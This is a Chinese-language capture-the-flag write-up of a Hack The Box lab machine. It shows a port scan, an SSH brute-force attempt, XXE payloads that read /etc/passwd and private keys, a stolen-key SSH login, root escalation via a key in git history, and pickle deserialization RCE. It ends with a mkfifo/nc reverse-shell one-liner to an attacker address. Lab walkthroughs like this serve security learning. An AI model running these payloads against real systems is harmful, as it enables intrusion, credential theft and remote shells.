Nmap


# nmap -p- -sV -sC 10.10.10.91 -oA scans/nmap

Nmap scan report for 10.10.10.91
Host is up (0.90s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 42:90:e3:35:31:8d:8b:86:17:2a:fb:38:90:da:c4:95 (RSA)
|   256 b7:b6:dc:c4:4c:87:9b:75:2a:00:89:83:ed:b2:80:31 (ECDSA)
|_  256 d5:2f:19:53:b2:8e:3a:4b:b3:dd:3c:1f:c0:37:0d:00 (ED25519)
5000/tcp open  http    Gunicorn 19.7.1
|_http-server-header: gunicorn/19.7.1
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

hydra试着用kali自带的fasttrack字典爆破ssh,无果


# hydra -l root -P /usr/share/wordlists/fasttrack.txt   ssh://10.10.10.91

[STATUS] 112.50 tries/min, 225 tries in 00:02h, 1 to do in 00:01h, 16 active
1 of 1 target completed, 0 valid passwords found

5000端口:XXE

用dirb扫描目录

i

发现upload,提示上传XML,并且XML节点类型已知

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "http://10.10.14.6:8888"> ]>
<userInfo>
  <firstName>John</firstName>
  <lastName>&ent;</lastName>
</userInfo>

上传上面的payload,测试此处存在XXE

不过这只能看出是可以带外的XXE,还要看一下是否可以回显,构造


<?xml version="1.0"?>
  <!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:////etc/passwd " >
  ]>

  <foo>
    <Author>Gerh</Author>
    <Subject>BinaryChaos</Subject>
    <Content>&xxe;</Content>
  </foo>


读取user.txt,并尝试读取敏感文件,读到了.bash_history和私钥

用密钥登录ssh

ssh -i id_rsa roosa@10.10.10.91

拿到第一个shell

提权

提权直接用信息泄漏即可,在git的记录里找到root用户的私钥,提权到root

回顾

回过头去看看flask的源码

## 读/home/roosa/deploy/src/feed.py

HTTP/1.1 200 OK
Server: gunicorn/19.7.1
Date: Sat, 06 Jun 2020 08:47:55 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 1061

 PROCESSED BLOGPOST: 
  Author: Gerh
 Subject: BinaryChaos
 Content: ')
def uploaded_file(filename):
    return send_from_directory(Config.UPLOAD_FOLDER,
                               filename)

@app.route("/")
def xss():
    return template('index.html')

@app.route("/feed")
def fakefeed():
   return send_from_directory(".","devsolita-snapshot.png")

@app.route("/newpost", methods=["POST"])
def newpost():
  # TODO: proper save to database, this is for testing purposes right now
  picklestr = base64.urlsafe_b64decode(request.data)
#  return picklestr
  postObj = pickle.loads(picklestr)
  return "POST RECEIVED: " + postObj['Subject']


## TODO: VERY important! DISABLED THIS IN PRODUCTION
#app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')
# TODO: Replace run-gunicorn.sh with real Linux service script
# app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')

if __name__ == "__main__":
  app.run(host='0.0.0,0', Debug=True)


 URL for later reference: /uploads/xxe.xml
 File path: /home/roosa/deploy/src

发现有pickle反序列化的点,并且无任何过滤(base64.urlsafe_b64decode不算过滤的)

pickle反序列化

直接用python反序列化时自动调用的reduce方法,构造恶意参数达成RCE

一开始用python3的pickle.dumps(),出现了很多不可见字符

后面查找walkthrough,发现用python2可成功搞定,猜测是python3取消了cpickle的原因。

尝试bash -inc -e 反弹shell,均失败

最后用下面的代码反弹shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.122 1337 >/tmp/f

中途还因为指定了Content-Type,导致flask收不到参数,打rce失败的结果。。。

ref